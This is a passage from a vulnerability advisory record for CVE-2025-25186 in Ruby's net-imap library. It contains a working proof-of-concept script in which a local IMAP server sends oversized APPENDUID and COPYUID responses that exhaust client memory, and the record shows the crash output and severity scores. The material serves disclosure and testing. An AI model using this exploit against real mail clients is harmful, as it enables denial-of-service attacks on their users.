\"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n th = Thread.new do\n yield\n end\n sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n sock = server.accept\n begin\n sock.print \"* OK test server\\r\\n\"\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n\n malicious_response = appenduid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n\n malicious_response = copyuid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n rescue Exception => ex\n puts \"Error in server: #{ex.message} (#{ex.class})\"\n ensure\n sock.close\n server.close\n end\nend\n\n# client\nbegin\n puts \"Client connecting,..\"\n imap = Net::IMAP.new(server_addr, port: port)\n puts \"Received capabilities: #{imap.capability}\"\n pp responses: imap.responses\n imap.logout\nrescue Exception => ex\n puts \"Error in client: #{ex.message} (#{ex.class})\"\n puts ex.full_message\nensure\n imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process's virtual memory. The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 && exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'\n from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'\n from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'\n from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'\n from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'\n from /workspace/poc.rb:70:in '<main>'\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-25186.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-25186.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-25186", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33179", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00135", "scoring_system": "epss", "scoring_elements": "0.33215", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00135", "scoring_system": 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